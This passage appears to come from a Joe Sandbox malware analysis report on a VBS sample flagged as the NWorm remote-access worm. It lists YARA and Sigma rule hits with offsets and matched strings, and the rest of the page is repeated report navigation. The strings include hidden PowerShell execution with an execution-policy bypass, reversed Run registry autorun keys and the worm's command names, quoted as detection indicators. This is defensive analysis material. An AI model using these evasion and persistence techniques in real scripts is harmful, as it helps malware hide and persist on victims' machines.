11.0.aspnet_compiler.exe.400000.1.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x3247:$x1: pongPing 0x3259:$x2: \|NW\| 0x2e70:$s1: runFile 0x2e80:$s2: runUrl 0x2ed0:$s3: killer 0x2ef0:$s4: powershell 0x30ac:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x31e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
11.0.aspnet_compiler.exe.400000.2.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
11.0.aspnet_compiler.exe.400000.2.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2fec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3050:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3048:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
11.0.aspnet_compiler.exe.400000.2.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x3247:$x1: pongPing 0x3259:$x2: \|NW\| 0x2e70:$s1: runFile 0x2e80:$s2: runUrl 0x2ed0:$s3: killer 0x2ef0:$s4: powershell 0x30ac:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x31e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
10.2.powershell.exe.1a640e0e328.2.raw.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
10.2.powershell.exe.1a640e0e328.2.raw.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x5027fd:$id1: N-W0rm 0x502de8:$id1: N-W0rm 0x3247:$x1: pongPing 0x503ad7:$x1: pongPing 0x3259:$x2: \|NW\| 0x503ae9:$x2: \|NW\| 0x2e70:$s1: runFile 0x503700:$s1: runFile 0x2e80:$s2: runUrl 0x503710:$s2: runUrl 0x2ed0:$s3: killer 0x503760:$s3: killer 0x2ef0:$s4: powershell 0x503780:$s4: powershell 0x30ac:$s5: wscript.exe 0x50393c:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x503798:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
10.2.powershell.exe.1a640c386a0.1.raw.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
10.2.powershell.exe.1a640c386a0.1.raw.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1d7bf5:$id1: N-W0rm 0x1d81e0:$id1: N-W0rm 0x6d8485:$id1: N-W0rm 0x6d8a70:$id1: N-W0rm 0x1d8ecf:$x1: pongPing 0x6d975f:$x1: pongPing 0x1d8ee1:$x2: \|NW\| 0x6d9771:$x2: \|NW\| 0x1d8af8:$s1: runFile 0x6d9388:$s1: runFile 0x1d8b08:$s2: runUrl 0x6d9398:$s2: runUrl 0x1d8b58:$s3: killer 0x6d93e8:$s3: killer 0x1d8b78:$s4: powershell 0x6d9408:$s4: powershell 0x1d8d34:$s5: wscript.exe 0x6d95c4:$s5: wscript.exe 0x1d8b90:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x6d9420:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x1d8d4d:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
10.2.powershell.exe.1a640da2068.0.raw.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
10.2.powershell.exe.1a640da2068.0.raw.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x6e22d:$id1: N-W0rm 0x6e818:$id1: N-W0rm 0x56eabd:$id1: N-W0rm 0x56f0a8:$id1: N-W0rm 0x6f507:$x1: pongPing 0x56fd97:$x1: pongPing 0x6f519:$x2: \|NW\| 0x56fda9:$x2: \|NW\| 0x6f130:$s1: runFile 0x56f9c0:$s1: runFile 0x6f140:$s2: runUrl 0x56f9d0:$s2: runUrl 0x6f190:$s3: killer 0x56fa20:$s3: killer 0x6f1b0:$s4: powershell 0x56fa40:$s4: powershell 0x6f36c:$s5: wscript.exe 0x56fbfc:$s5: wscript.exe 0x6f1c8:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x56fa58:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x6f385:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Click to see the 22 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7112.amsi.csv	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0xdcab:$sb3: -WIndoWSTYLe HiDdeN 0x2e75b:$sb3: -WIndoWSTYLe HiDdeN 0xdc9f:$sc1: -Nop 0x2e74f:$sc1: -Nop 0xdca4:$sd1: -NonI 0x2e754:$sd1: -NonI 0xdcbf:$se3: -ExecutionPolicy Bypass 0x2e76f:$se3: -ExecutionPolicy Bypass

Sigma Signatures

System Summary

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
YBAXAKQXVYWIXQJDE.VBS

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: NWorm

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report YBAXAKQXVYWIXQJDE.VBS

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: NWorm

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Windows Analysis Report
YBAXAKQXVYWIXQJDE.VBS